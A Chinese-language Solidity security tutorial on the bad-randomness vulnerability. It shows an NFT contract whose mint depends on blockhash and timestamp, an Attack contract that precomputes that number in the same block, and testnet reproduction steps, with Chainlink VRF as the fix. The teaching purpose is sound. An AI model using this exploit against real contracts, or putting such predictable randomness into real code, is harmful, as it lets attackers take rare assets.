WTF Solidity 合约安全: S07. 坏随机数

我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。

这一讲，我们将介绍智能合约的坏随机数（Bad Randomness）漏洞和预防方法，这个漏洞经常在 NFT 和 GameFi 中出现，包括 Meebits，Loots，Wolf Game等。

伪随机数

很多以太坊上的应用都需要用到随机数，例如NFT随机抽取tokenId、抽盲盒、gamefi战斗中随机分胜负等等。但是由于以太坊上所有数据都是公开透明（public）且确定性（deterministic）的，它没有其他编程语言一样给开发者提供生成随机数的方法，例如random()。很多项目方不得不使用链上的伪随机数生成方法，例如 blockhash() 和 keccak256() 方法。

坏随机数漏洞：攻击者可以事先计算这些伪随机数的结果，从而达到他们想要的目的，例如铸造任何他们想要的稀有NFT而非随机抽取。更多的内容可以阅读 WTF Solidity极简教程 第39讲：伪随机数。

坏随机数案例

下面我们学习一个有坏随机数漏洞的 NFT 合约： BadRandomness.sol。

contractBadRandomnessisERC721{uint256totalSupply;//构造函数，初始化NFT合集的名称、代号constructor()ERC721("",""){}//铸造函数：当输入的luckyNumber等于随机数时才能mintfunctionluckyMint(uint256luckyNumber)external{uint256randomNumber=uint256(keccak256(abi.encodePacked(blockhash(block.number-1),block.timestamp)))%100;//getbadrandomnumberrequire(randomNumber==luckyNumber,"Betterlucknexttime!");_mint(msg.sender,totalSupply);//minttotalSupply++;}}

它有一个主要的铸造函数 luckyMint()，用户调用时输入一个 0-99 的数字，如果和链上生成的伪随机数 randomNumber 相等，即可铸造幸运 NFT。伪随机数使用 blockhash 和 block.timestamp 声称。这个漏洞在于用户可以完美预测生成的随机数并铸造NFT。

下面我们写个攻击合约 Attack.sol。

contractAttack{functionattackMint(BadRandomnessnftAddr)external{//提前计算随机数uint256luckyNumber=uint256(keccak256(abi.encodePacked(blockhash(block.number-1),block.timestamp)))%100;//利用luckyNumber攻击nftAddr.luckyMint(luckyNumber);}}

攻击函数 attackMint()中的参数为 BadRandomness合约地址。在其中，我们计算了随机数 luckyNumber，然后将它作为参数输入到 luckyMint() 函数完成攻击。由于attackMint()和luckyMint()将在同一个区块中调用，blockhash和block.timestamp是相同的，利用他们生成的随机数也相同。

Remix 复现

由于 Remix 自带的 Remix VM不支持 blockhash函数，因此你需要将合约部署到以太坊测试链上进行复现。

部署 BadRandomness 合约。

部署 Attack 合约。

将 BadRandomness 合约地址作为参数传入到 Attack 合约的 attackMint() 函数并调用，完成攻击。

调用 BadRandomness 合约的 balanceOf 查看Attack 合约NFT余额，确认攻击成功。

预防方法

我们通常使用预言机项目提供的链下随机数来预防这类漏洞，例如 Chainlink VRF。这类随机数从链下生成，然后上传到链上，从而保证随机数不可预测。更多介绍可以阅读 WTF Solidity极简教程 第39讲：伪随机数。

总结

这一讲我们介绍了坏随机数漏洞，并介绍了一个简单的预防方法：使用预言机项目提供的链下随机数。NFT 和 GameFi 项目方应避免使用链上伪随机数进行抽奖，以防被黑客利用。

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来源：bress